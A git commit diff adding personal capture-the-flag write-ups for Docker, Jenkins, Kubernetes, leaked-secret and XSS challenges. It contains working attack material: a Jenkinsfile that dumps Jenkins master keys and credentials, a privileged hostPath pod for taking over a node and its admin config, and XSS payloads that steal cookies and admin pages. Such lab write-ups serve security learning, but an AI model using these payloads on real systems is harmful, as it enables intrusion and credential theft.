diff options
author | Aria <me@aria.rip> | 2023-10-01 17:23:09 +0100 |
---|---|---|
committer | Aria <me@aria.rip> | 2023-10-01 17:23:09 +0100 |
commit | b5b9cf7a1f61d004d7d53584d029c19302c63ba0 (patch) | |
tree | 49c3022dccf669f9f2b905ddfbd2d16db2d10d84 /punkctf |
initial commit
Diffstat (limited to 'punkctf')
-rw-r--r-- | punkctf/docker_01.md | 6 | ||||
-rw-r--r-- | punkctf/docker_02.md | 4 | ||||
-rw-r--r-- | punkctf/docker_03.md | 12 | ||||
-rw-r--r-- | punkctf/gtfobins_02.md | 8 | ||||
-rw-r--r-- | punkctf/jenkins_01.md | 5 | ||||
-rw-r--r-- | punkctf/jenkins_02.md | 27 | ||||
-rw-r--r-- | punkctf/jenkins_03.md | 24 | ||||
-rw-r--r-- | punkctf/k8s_01.md | 3 | ||||
-rw-r--r-- | punkctf/k8s_02.md | 4 | ||||
-rw-r--r-- | punkctf/k8s_03.md | 39 | ||||
-rw-r--r-- | punkctf/k8s_04.md | 50 | ||||
-rw-r--r-- | punkctf/k8s_05.md | 38 | ||||
-rw-r--r-- | punkctf/secrets_5.md | 7 | ||||
-rw-r--r-- | punkctf/web_01.md | 17 | ||||
-rw-r--r-- | punkctf/web_02.md | 23 | ||||
-rw-r--r-- | punkctf/web_03.md | 15 | ||||
-rw-r--r-- | punkctf/web_04.md | 7 |
17 files changed, 289 insertions, 0 deletions
diff --git a/punkctf/docker_01.md b/punkctf/docker_01.md new file mode 100644 index 0000000..33562e8 --- /dev/null +++ b/punkctf/docker_01.md @@ -0,0 +1,6 @@ + +Running `docker images`, we see an image named `challenge` that presumably has our flag. + +We have unrestricted access to the docker daemon running as root, so we can simply make ourselves root inside the container and be able to access everything. `docker run -it --rm --user=0 challenge sh`. + +`cat /root/FLAG`: `punk_{E1U2R3V59WIUZUJI}` diff --git a/punkctf/docker_02.md b/punkctf/docker_02.md new file mode 100644 index 0000000..1314d81 --- /dev/null +++ b/punkctf/docker_02.md @@ -0,0 +1,4 @@ + +If we follow the same steps as before, then we see we have the `challenge` image again, but that instead of the flag `/root/flag` just contains a hash of it. + +Going back to the host, we can look at the build steps for the `challenge` image with `docker image history challenge`. We see one of the build steps involves echoing the flag hash in to the file, so we can see the flag in plaintext: `punk_{V70P92VJALOS5KMM}`. diff --git a/punkctf/docker_03.md b/punkctf/docker_03.md new file mode 100644 index 0000000..9e7ea7a --- /dev/null +++ b/punkctf/docker_03.md @@ -0,0 +1,12 @@ + +Similar to the last one, we only have a hash of the flag in `/root/flag`. +If we look at the build steps with `docker image history --no-trunc challenge`, it is now copying the file, hashing it then removing it. + +Docker images consist of many layers in a specific order, where each layer modifies the filesystem in some way. Each build instruction maps to at most one layer. When we add the flag file, a new layer is created with it in it, and even if we remove the flag later, that layer is still part of our image. + +To get to it, we save the image as a tar (`docker save challenge > challenge.tar`), then extract it. + +Each layer has a folder with a long hash, and a `layer.tar` inside that. +To quickly search through them all, I used this command:`find -iname '*.tar' -exec sh -c 'echo {}; tar -tf {} | grep FLAG' \;` - this prints out the layer hash, followed by all files inside it containing `FLAG`. + +We see only one layer has the `FLAG` file, and once we extract it we can read `opt/flag` to get `punk_{53GAEP9LAWODTO0T}`. diff --git a/punkctf/gtfobins_02.md b/punkctf/gtfobins_02.md new file mode 100644 index 0000000..1cf0fcf --- /dev/null +++ b/punkctf/gtfobins_02.md @@ -0,0 +1,8 @@ + +through basic recon you can find kubectl has suid bit + +if you lookup on gtfobins you find you can serve static files with kubectl using `kubectl proxy --address=0.0.0.0 --port=4444 --www=/root/ --www-prefix=/x/` + +then just `wget http://localhost:4444/x/` in another tab + +`punk_{FUN9BUQ19K8VCDRT}` diff --git a/punkctf/jenkins_01.md b/punkctf/jenkins_01.md new file mode 100644 index 0000000..12e9026 --- /dev/null +++ b/punkctf/jenkins_01.md @@ -0,0 +1,5 @@ + +Since we have access to change the pipeline, we can simply remove the hash part to print the flag in plaintext. + +Jenkins tries to be smart and censor it in our logs, so to get around this we cut out the `punk_` part of the flag by piping it to `cut -c 5-`. +With the prefix added back, we get `punk_{64J846I332MEAGL4}`. diff --git a/punkctf/jenkins_02.md b/punkctf/jenkins_02.md new file mode 100644 index 0000000..f4270ad --- /dev/null +++ b/punkctf/jenkins_02.md @@ -0,0 +1,27 @@ + +We can no longer edit the pipeline directly, but we can add stuff to `webpack.config.js` which is executed as a normal JS file, so we can access `$FLAG` with `process.env.flag` + +The flag is filtered out again, I went probably overkill and copied a ROT13 function to obscure it: + +```js +function cipherRot13(str) { + str = str.toUpperCase(); + return str.replace(/[A-Z]/g, rot13); + + function rot13(correspondance) { + const charCode = correspondance.charCodeAt(); + //A = 65, Z = 90 + return String.fromCharCode( + ((charCode + 13) <= 90) ? charCode + 13 + : (charCode + 13) % 90 + 64 + ); + + } +} + +console.log(cipherRot13(process.env.FLAG)) + +// rest of webpack.config.js +``` + +Reversing the ROT13, we get `punk_{7KN3O181O6W1A6XS}`. diff --git a/punkctf/jenkins_03.md b/punkctf/jenkins_03.md new file mode 100644 index 0000000..2ebfbe0 --- /dev/null +++ b/punkctf/jenkins_03.md @@ -0,0 +1,24 @@ + +Jenkins doesn't provide any sort of sandboxing, but it tells you your build runs in `/var/jenkins_home/jobs/...`. +You can modify the `Jenkinsfile` to enumerate `/var/jenkins_home`, using `find` or whatever else. + +From this we're able to read all the config files, including the one for secure jobs in `/var/jenkins_home/jobs/secure-jobs/config.xml`. +The credentials in here are encrypted, but since we're able to read everything Jenkins can, we can find the key. I found [this](https://github.com/hoto/jenkins-credentials-decryptor) tool to do so. + +This `Jenkinsfile` gets everything we need for decryption. + +``` +pipeline { + agent any + stages { + stage('build') { + steps { + sh 'cat /var/jenkins_home/jobs/secure-jobs/config.xml' + sh 'cat /var/jenkins_home/secrets/master.key' + sh 'cat /var/jenkins_home/secrets/hudson.util.Secret | base64' + } + } + } +} +``` +Then we simply feed everything into the decryptor to get `punk_{GBI3BZOA3E8USYUH}`. diff --git a/punkctf/k8s_01.md b/punkctf/k8s_01.md new file mode 100644 index 0000000..e2e4c55 --- /dev/null +++ b/punkctf/k8s_01.md @@ -0,0 +1,3 @@ +There's a secret in the default namespace, which you can list then get with `kubectl get secret -o yaml`. + +After base64 decoding it, you get `punk_{Q53O2RDC1W7VTIWY}` diff --git a/punkctf/k8s_02.md b/punkctf/k8s_02.md new file mode 100644 index 0000000..328a3b4 --- /dev/null +++ b/punkctf/k8s_02.md @@ -0,0 +1,4 @@ + +You can no longer get the secret directly, but you can still list all secrets. Run `kubectl get secret -o yaml` to list with all the details, and base64 decode as before. + +`punk_{L649VD8GELSAF4G4}` diff --git a/punkctf/k8s_03.md b/punkctf/k8s_03.md new file mode 100644 index 0000000..6f643be --- /dev/null +++ b/punkctf/k8s_03.md @@ -0,0 +1,39 @@ + +Using `kubectl auth can-i --list`, we see that we can't access secrets anymore, but we can create deployments. + +Looking at the existing pod, we see that it mounts a secret called `y0u-cant-l1st-m3-s3crets-n0w`, but it only outputs the hash and we can't exec into it in this challenge. + +We can create a deployment similar to the existing pod, but without the hashing: + +```yaml +apiVersion: apps/v1 +kind: Deployment +metadata: + name: flag-getter +spec: + replicas: 1 + selector: + matchLabels: + app: flag-getter + template: + metadata: + labels: + app: flag-getter + spec: + containers: + - command: + - cat + - /flag/flag + image: busybox + imagePullPolicy: IfNotPresent + name: flag-getter + volumeMounts: + - mountPath: /flag + name: flag + volumes: + - name: flag + secret: + secretName: y0u-cant-l1st-m3-s3crets-n0w +``` + +This will die immediately, but that's fine - just read the pod logs and it will have the flag. diff --git a/punkctf/k8s_04.md b/punkctf/k8s_04.md new file mode 100644 index 0000000..3212624 --- /dev/null +++ b/punkctf/k8s_04.md @@ -0,0 +1,50 @@ + +Using `kubectl auth can-i --list` we find we still can't look at secrets directly, but we can create pods now. + +These pods don't have any security policy applied, meaning there are plenty of privesc routes we can take, most of them described [here](https://bishopfox.com/blog/kubernetes-pod-privilege-escalation). + +Here is the pod i created: + +```yaml +apiVersion: v1 +kind: Pod +metadata: + name: everything-allowed-exec-pod + labels: + app: pentest +spec: + hostNetwork: true + hostPID: true + hostIPC: true + containers: + - name: everything-allowed-pod + image: busybox + imagePullPolicy: IfNotPresent + securityContext: + privileged: true + volumeMounts: + - mountPath: /host + name: noderoot + command: [ "/bin/sh", "-c", "--" ] + args: [ "while true; do sleep 30; done;" ] + volumes: + - name: noderoot + hostPath: + path: / +``` + +We can then `kubectl exec -it pod/everything-allowed-exec-pod sh` and explore the host filesystem at `/host`. + +Looking in `/host/etc/kubernetes/admin.conf` (the standard location for the cluster admin config), we get connection details to login as cluster admin: + +``` +users: +- name: kubernetes-admin + user: + client-certificate-data: <long base64 string> + client-key-data: <long base64 string> +``` + +We put this in our terminals `.kube/config`, and use it to enumerate the secrets with `kubectl get secret -A` + +We find a secret in the `kube-system` namespace, from which we get the flag `punk_{3WPF4FB37UMJV31D}` diff --git a/punkctf/k8s_05.md b/punkctf/k8s_05.md new file mode 100644 index 0000000..a3dcb2c --- /dev/null +++ b/punkctf/k8s_05.md @@ -0,0 +1,38 @@ + +Using `kubectl auth can-i --list` we find we can only create pods and look at their logs, but not exec into them. + +If we try the payload from the previous stage, we also find that there are now pod security policies in effect. +It mentions we're using the baseline policy, which is described [here](https://kubernetes.io/docs/concepts/security/pod-security-standards/#baseline). + +Initially, I created a pod such as below to dump all the secrets being mounted, which included a token for the default service account for the namespace. I was hoping this would have more permissions, but it ended up a dead end. + +```yaml +apiVersion: v1 +kind: Pod +metadata: + name: get-sa-token +spec: + containers: + - name: get-sa-token + image: busybox + imagePullPolicy: IfNotPresent + securityContext: + runAsUser: 0 + command: [ "/bin/sh", "-c", "--" ] + args: [ "while true; do find /var/run/secrets -exec cat {} \\; ; sleep 30; done;" ] +``` + +Inspecting the running container though, we can see the IP of the host that runs it is `10.0.27.88`. + +We use the built in `pscan` function of busybox to port scan this IP - we do this because sometimes kubelets are misconfigured to allow anonymous access or similar, so we want to investigate. (the exact arg was `"while true; do pscan -P 10000 10.0.27.88; sleep 30; done;"`). + +After trying to access the kubelet and failing, the only other open port other than SSH is port 2375. +Googling for it, this port usually indicates an unauthenticated docker socket. + +Unfortunately we don't have a docker CLI available to interact directly, so we need to use their [API](https://docs.docker.com/engine/api/v1.42/) directly, using wget. + +The container we create is equivalent to `docker run -v /:/host --user=0 busybox cat /host/etc/kubernetes/admin.conf`, and we then read the output through the logs endpoint. Unfortunately I lost my exact payloads for this :(. + +Once we have this, we list the secrets and print them out as before to get the flag. + +I found out later this wasn't actually the intended solution - turns out you have permission to edit the namespace so you can just remove the pod security policy and do the same as k8s 4. diff --git a/punkctf/secrets_5.md b/punkctf/secrets_5.md new file mode 100644 index 0000000..d7acc2d --- /dev/null +++ b/punkctf/secrets_5.md @@ -0,0 +1,7 @@ + + +the interface we're given shows a bunch of leaked secrets at each commit. running `git log --all`, it seems like they are committing then removing each ssh key. + +we search for hostname of the system we're on, then get the ssh key and use it to ssh into root@localhost + +`punk_{B2J5I5ZJS5XT6E8J}` diff --git a/punkctf/web_01.md b/punkctf/web_01.md new file mode 100644 index 0000000..51747c8 --- /dev/null +++ b/punkctf/web_01.md @@ -0,0 +1,17 @@ + +The comment field is vulnerable to injection, so we just inject a script that makes a comment with the document.cookie variable. + +``` +<script> +let data = new URLSearchParams(); +data.append('name', 'Cookies'); +data.append('comment', document.cookie); +fetch('/new-comment', { + method: 'POST', + headers: { "Content-Type": "application/x-www-form-urlencoded" }, + body: data, +}); +</script> +``` + +Then we set our session ID to the admin's, and go to the admin page. `punk_{QRPMGW20G1XF20IH}` diff --git a/punkctf/web_02.md b/punkctf/web_02.md new file mode 100644 index 0000000..a36bb47 --- /dev/null +++ b/punkctf/web_02.md @@ -0,0 +1,23 @@ + +We can still inject script tags into this comments field, but we can't embed scripts into them, because the CSP (Content Security POlicy) only allows us to load scripts from `*.<random-numbers>.ctf.one.dr.punksecurity.cloud`. + +Running the command they gave for subdomain takeover scanning we find that `docs.<...>` points to GitHub Pages, so we can set up a simple GitHub pages repo and use their subdomain to host whatever we want. `payload.js`: + +``` +fetch('/admin').then(r => r.text()).then(d => { + let data = new URLSearchParams(); + data.append('name', 'admin page'); + data.append('comment', d); + fetch('/new-comment', { + method: 'POST', + headers: { "Content-Type": "application/x-www-form-urlencoded" }, + body: data, + }); +}) +``` + +Then our comment just loads this script: + +``` +<script src="http://docs.47f325c9-f4c.ctf.one.dr.punksecurity.cloud/payload.js"></script> +``` diff --git a/punkctf/web_03.md b/punkctf/web_03.md new file mode 100644 index 0000000..a1d2e1e --- /dev/null +++ b/punkctf/web_03.md @@ -0,0 +1,15 @@ + +The cookie is HttpOnly now, but we only care about the contents of `/admin`, not the cookie, so we can use the same payload for `Subdomain Takeover - Easy`, but without doing the subdomain takeover. + +``` +fetch('/admin').then(r => r.text()).then(d => { + let data = new URLSearchParams(); + data.append('name', 'admin page'); + data.append('comment', d); + fetch('/new-comment', { + method: 'POST', + headers: { "Content-Type": "application/x-www-form-urlencoded" }, + body: data, + }); +}) +``` diff --git a/punkctf/web_04.md b/punkctf/web_04.md new file mode 100644 index 0000000..f0cffaa --- /dev/null +++ b/punkctf/web_04.md @@ -0,0 +1,7 @@ + +Now our input sanitises out script fields, however it still allows us to make images. +We use the normal technique of putting a bad image url in them, then adding js in the onerror attribute, with the same JS as `XSS - Medium`. + +``` +<img src=x onerror="fetch('/admin').then(r => r.text()).then(d => {let data = new URLSearchParams(); data.append('name', 'admin page'); data.append('comment', d); fetch('/new-comment', { method: 'POST', headers: { 'Content-Type': 'application/x-www-form-urlencoded' }, body: data });})"> +``` |